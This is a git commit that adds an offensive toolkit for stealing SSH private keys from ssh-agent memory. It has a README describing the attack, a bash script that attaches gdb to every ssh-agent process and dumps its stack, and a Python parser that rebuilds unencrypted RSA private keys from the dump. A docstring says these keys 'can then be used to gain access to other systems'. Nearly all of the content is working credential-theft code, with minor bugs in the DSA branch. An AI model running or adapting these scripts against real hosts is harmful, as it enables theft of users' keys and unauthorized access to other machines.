some small fixes

This commit is contained in:
Mari Wahl 2014-09-30 23:29:07 -04:00
parent 4f8d5148af
commit 16757b10ac
412 changed files with 139509 additions and 0 deletions

0
Linux_Hacking/README.md Normal file
View file

View file

@ -0,0 +1,38 @@
Introduction
============
SSH-agent is a tool designed to keep a SSH key in memory so that the user doesn't have to type their passphrase in every time.
A user running as root may have the ability to pull the decrypted SSH key from memory and reconstruct it (of course, an attacker may be able to install a keylogger and use that to obtain the passphrase for the SSH key. However, this causes the attacker to have to wait for the target to type in their passphrase).
Using SSH-agent
---------------
A common method of using SSH-agent is running "SSH-agent bash" and then "SSH-add" to add the key to the agent. Once added, the key will stay in the SSH-agent's stack until the process ends, another key is added, or the user uses the -d or -D option with SSH-add.
Pulling a SSH Key From Memory
-----------------------------
Gdb uses the ptrace call to attach to the SSH-agent. This provides gdb with the privileges necessary to create a memory dump of the running process.
The gdb_garb.sh script provides a way of automating the dumping of this memory. By default, when it runs it will create a memory dump of the stack for each SSH-agent process. These files are named SSHagent-PID.stack.
Parsing SSH Keys From the Memory Dump
-------------------------------------
The key is kept in the stack in a different format then the one that was generated by SSH-keygen.
The script parse.py requires the installation of the pyasn1 python module. Once that is installed the script can be run against the memory file. If that memory file contains a valid RSA SSH key then it will save it to disk.
This key.rsa file can then be used as an argument to the -i switch in SSH. This will act like the original user's key, only without requiring a pass phrase to unlock it.
References:
-----------
1. https://www.netspi.com/blog/entryid/235/stealing-unencrypted-ssh-agent-keys-from-memory

View file

@ -0,0 +1,24 @@
#!/bin/bash
# First argument is the output directory. Use /tmp if this is not specified.
outputdir="/tmp"
# Grab pids for each ssh-agent
sshagentpids=$(ps --no-headers -fC ssh-agent | awk '{print $2}')
# Iterate through the pids and create a memory dump of the stack for each
for pid in $sshagentpids; do
stackmem="$(grep stack /proc/$pid/maps | sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p')"
startstack=$(echo $stackmem | awk '{print $1}')
stopstack=$(echo $stackmem | awk '{print $2}')
gdb --batch -pid $pid -ex "dump memory $outputdir/sshagent-$pid.stack 0x$startstack 0x$stopstack" 2&>1 >/dev/null
# GDB doesn't error out properly if this fails.
# This will provide feedback if the file is actually created
if [ -f "$outputdir/sshagent-$pid.stack" ]; then
echo "Created $outputdir/sshagent-$pid.stack"
else
echo "Error dumping memory from $pid"
fi
done

View file

@ -0,0 +1,186 @@
#!/usr/bin/python
import sys
import base64
from pyasn1.type import univ
from pyasn1.codec.der import encoder
class sshkeyparse:
""" This class is designed to parse a memory dump of ssh-agent and create
unencrypted ssh keys that can then be used to gain access to other
systems"""
keytypes = {
'rsa': "ssh-rsa",
'dsa': "ssh-dss",
'ecsda': "ecdsa-sha2-nisp256",
'ed25519': "ssh-ed25519"
}
def read(self, memdump):
""" Reads a file and stories it in self.mem"""
self.inputfile = memdump
file = open(memdump, 'rb')
self.mem = "".join(file.readlines())
file.close()
def unpack_bigint(self, buf):
"""Turn binary chunk into integer"""
v = 0
for c in buf:
v *= 256
v += ord(c)
return v
def search_key(self):
"""Searches for keys in self.mem"""
keysfound = {}
for type in self.keytypes:
magic = self.mem.find(self.keytypes[type])
if magic is not -1:
keysfound[magic] = type
if keysfound:
print ("Found %s key" % keysfound[sorted(keysfound)[0]])
self.mem = self.mem[sorted(keysfound)[0]:]
self.type = keysfound[sorted(keysfound)[0]]
return 1
if not keysfound:
return -1
def getkeys(self, output):
""" Parses for keys stored in ssh-agent's stack """
keynum = 0
validkey = 0
validkey = self.search_key()
while validkey != -1:
if keynum == 0:
keynum += 1
self.create_key(output)
else:
keynum += 1
self.create_key((output + "." + str(keynum)))
validkey = self.search_key()
if keynum == 0:
# Did not find a valid key type
print ("A saved key was not found in %s" % self.inputfile)
print ("The user may not have loaded a key or the key loaded is " +
"not supported.")
sys.exit(1)
else:
return
# Detect type of key and run key creation
def create_key(self, output):
"""Creates key files"""
output = output + "." + self.type
if self.type is "rsa":
self.create_rsa(output)
print ("Creating %s key: %s" % (self.type, output))
if self.type is "dsa":
self.create_dsa(output)
print ("Creating %s key: %s" % (self.type, output))
else:
print ("%s key type is not currently supported." % self.type)
sys.exit(3)
def create_dsa(self, output):
"""Create DSA SSH key file"""
if self.mem[0:7] == "ssh-dss":
print ("DSA SSH Keys are not currently supported.")
self.mem = self.mem[start+size:]
else:
print ("Error: This is not a DSA SSH key file")
sys.exit(2)
def create_rsa(self, output):
"""Create RSA SSH key file"""
if self.mem[0:7] == "ssh-rsa":
# FIXME: This needs to be cleaned up.
start = 10
size = self.unpack_bigint(self.mem[start:(start+2)])
start += 2
n = self.unpack_bigint(self.mem[start:(start+size)])
start = start + size + 2
size = self.unpack_bigint(self.mem[start:(start+2)])
start += 2
e = self.unpack_bigint(self.mem[start:(start+size)])
start = start + size + 2
size = self.unpack_bigint(self.mem[start:(start+2)])
start += 2
d = self.unpack_bigint(self.mem[start:(start+size)])
start = start + size + 2
size = self.unpack_bigint(self.mem[start:(start+2)])
start += 2
c = self.unpack_bigint(self.mem[start:(start+size)])
start = start + size + 2
size = self.unpack_bigint(self.mem[start:(start+2)])
start += 2
p = self.unpack_bigint(self.mem[start:(start+size)])
start = start + size + 2
size = self.unpack_bigint(self.mem[start:(start+2)])
start += 2
q = self.unpack_bigint(self.mem[start:(start+size)])
e1 = d % (p - 1)
e2 = d % (q - 1)
self.mem = self.mem[start+size:]
else:
print ("Error: This is not a RSA SSH key file")
sys.exit(2)
seq = (
univ.Integer(0),
univ.Integer(n),
univ.Integer(e),
univ.Integer(d),
univ.Integer(p),
univ.Integer(q),
univ.Integer(e1),
univ.Integer(e2),
univ.Integer(c),
)
struct = univ.Sequence()
for i in xrange(len(seq)):
struct.setComponentByPosition(i, seq[i])
raw = encoder.encode(struct)
data = base64.b64encode(raw)
# chop data up into lines of certain width
width = 64
chopped = [data[i:i + width] for i in xrange(0, len(data), width)]
# assemble file content
content = """-----BEGIN RSA PRIVATE KEY-----
%s
-----END RSA PRIVATE KEY-----
""" % '\n'.join(chopped)
output = open(output, 'w')
output.write(content)
output.close()
# MAIN
keystart = sshkeyparse()
keystart.read(sys.argv[1])
keystart.getkeys(sys.argv[2])